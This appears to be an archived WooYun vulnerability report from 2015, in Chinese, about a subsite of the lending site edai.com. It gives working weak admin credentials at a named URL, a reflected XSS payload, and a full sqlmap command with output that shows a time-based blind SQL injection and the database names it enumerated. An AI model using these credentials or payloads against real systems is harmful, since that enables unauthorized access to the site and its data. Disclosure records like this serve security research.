易贷网某分站SQL注入\Xss\弱口令

编号139857
Urlhttp://www.wooyun.org/bug.php?action=view&id=139857
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题易贷网某分站SQL注入\Xss\弱口令
漏洞类型SQL注射漏洞
厂商edai.com
白帽子#6c6c6c
提交日期2015-09-09 10:13:00
公开日期2015-09-14 10:14:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签弱口令 sql
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
hhhh
漏洞细节

http://yimin.edai.com/manager/cx/index.php
弱口令test1 密码test1
win8+iis7.5 找不到拿shell方法。

yimin后台.jpg


反射xss一枚
http://yimin.edai.com/immigrate.php?act=list&classid=15&page=9"><script>alert(1)</script>
POST SQL

C:\Python27\sqlmap>sqlmap.py -u "http://yimin.edai.com//order.php" --data "btnSu
bmit=%e6%8f%90%e4%ba%a4%e8%a1%a8%e5%8d%95&act=immigratecheck&age=20&aim%5b%5d=%e
7%be%8e%e5%9b%bd&content=&english=%e4%b8%8d%e4%bc%9a&id=28&is_legal=%e6%98%af&is
_marry=1&is_stockholder=%e6%98%af&job=1&means=100%e4%b8%87%e4%bb%a5%e4%b8%8b&nat
ure=%e6%9c%89%e9%99%90%e5%85%ac%e5%8f%b8&province=NY&sex=%e5%85%88%e7%94%9f&tel=
555-666-0606&user=sxniwsik&wish%5b%5d=%e5%ad%90%e5%a5%b3%e6%8e%a5%e6%94%b6%e6%9b
%b4%e5%a5%bd%e7%9a%84%e6%95%99%e8%82%b2" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150823}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 07:22:48
[07:22:48] [WARNING] provided value for parameter 'content' is empty. Please, al
ways use only valid parameter values so sqlmap could be able to run properly
[07:22:48] [INFO] resuming back-end DBMS 'mysql'
[07:22:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: age (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: btnSubmit=%e6%8f%90%e4%ba%a4%e8%a1%a8%e5%8d%95&act=immigratecheck&a
ge=20' AND (SELECT * FROM (SELECT(SLEEP(5)))texb) AND 'FnGs'='FnGs&aim[]=%e7%be%
8e%e5%9b%bd&content=&english=%e4%b8%8d%e4%bc%9a&id=28&is_legal=%e6%98%af&is_marr
y=1&is_stockholder=%e6%98%af&job=1&means=100%e4%b8%87%e4%bb%a5%e4%b8%8b&nature=%
e6%9c%89%e9%99%90%e5%85%ac%e5%8f%b8&province=NY&sex=%e5%85%88%e7%94%9f&tel=555-6
66-0606&user=sxniwsik&wish[]=%e5%ad%90%e5%a5%b3%e6%8e%a5%e6%94%b6%e6%9b%b4%e5%a5
%bd%e7%9a%84%e6%95%99%e8%82%b2
---
[07:22:48] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.29
back-end DBMS: MySQL 5.0.12
[07:22:48] [INFO] fetching database names
[07:22:48] [INFO] fetching number of databases
[07:22:48] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[07:22:53] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
2
[07:23:06] [INFO] retrieved:
[07:23:11] [INFO] adjusting time delay to 1 second due to good response times
information_s
[07:24:27] [ERROR] invalid character detected. retrying..
[07:24:27] [WARNING] increasing time delay to 2 seconds
chema
[07:25:07] [INFO] retrieved: s582798db0
available databases [2]:
[*] information_schema
[*] s582798db0

POC

修复方案

过滤sql注入,修复弱口令xss

状态信息 2015-09-09: 细节已通知厂商并且等待厂商处理中
2015-09-14: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:4 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2015-09-14 10:14